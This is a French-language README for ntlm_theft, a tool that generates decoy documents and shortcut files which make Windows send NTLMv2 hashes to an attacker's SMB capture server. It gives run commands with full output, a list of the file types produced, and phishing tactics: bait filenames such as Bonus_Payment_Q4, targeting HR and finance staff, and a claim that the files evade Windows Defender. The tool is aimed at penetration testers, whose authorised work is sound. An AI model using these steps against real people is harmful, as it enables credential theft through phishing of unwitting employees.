
Un outil pour générer plusieurs types de fichiers de vol de hachage NTLMv2 par Jacob Wilkin (Greenwolf)
Un outil pour générer plusieurs types de fichiers de vol de hash NTLMv2.
ntlm_theft est un outil Open Source Python3 qui génère 21 types différents de documents de vol de hash. Ceux-ci peuvent être utilisés pour le phishing lorsque soit la cible autorise le trafic SMB en dehors de son réseau, soit si vous êtes déjà à l'intérieur du réseau interne.
Les avantages de ces types de fichiers par rapport aux documents basés sur des macros ou des exploits sont qu'ils sont tous construits en utilisant des "fonctionnalités prévues". Aucun n'a été signalé par Windows Defender Antivirus en juin 2020, et 17 des 21 attaques ont fonctionné sur un hôte Windows 10 entièrement patché.
ntlm_theft prend en charge les types d'attaques suivants :
ntlm_theft est principalement destiné aux testeurs d'intrusion et aux membres d'équipes rouges, qui l'utiliseront pour effectuer du phishing interne auprès des employés d'une entreprise cible, ou pour tester en masse les antivirus et les passerelles e-mail. Il peut également être utilisé pour du phishing externe si l'accès SMB sortant est autorisé sur le pare-feu périmétrique.
Je l'ai trouvé utile lors de tests d'intrusion pour voir facilement quels types de fichiers sont disponibles, plutôt que de passer du temps à configurer une attaque spécifique comme cela serait fait lors d'engagements d'équipe rouge. Vous pourriez envoyer un fichier .rtf ou .docx au service des ressources humaines, et un document .xlsx au service financier.
Ces instructions vous montreront les prérequis et comment utiliser ntlm_theft.
ntlm_theft nécessite Python3 et xlsxwriter :
pip3 install xlsxwriter
Pour démarrer l'outil, 4 paramètres doivent être fournis : un format d'entrée, le fichier ou dossier d'entrée et le mode de fonctionnement de base :
-g, --generate : Choisir de générer tous les fichiers ou un type de fichier spécifique
-s, --server : L'adresse IP de votre serveur de capture de hash SMB (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc.)
-f, --filename : Le nom de fichier de base sans extension, peut être renommé plus tard (ex : test, Board-Meeting2020, Bonus_Payment_Q4)
Voici un exemple d'exécution générant tous les fichiers :
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

Voici un exemple d'exécution générant uniquement les fichiers modernes :
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.
Voici un exemple d'exécution générant uniquement un fichier xlsx :
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.
ntlm_theft Créé par Jacob Wilkin Copyright (C) 2020 Jacob Wilkin
Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le modifier selon les termes de la Licence Publique Générale GNU telle que publiée par la Free Software Foundation ; soit la version 3 de la Licence, soit (à votre choix) toute version ultérieure.
Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans même la garantie implicite de QUALITÉ MARCHANDE ou d'ADAPTATION À UN USAGE PARTICULIER. Voir la Licence Publique Générale GNU pour plus de détails.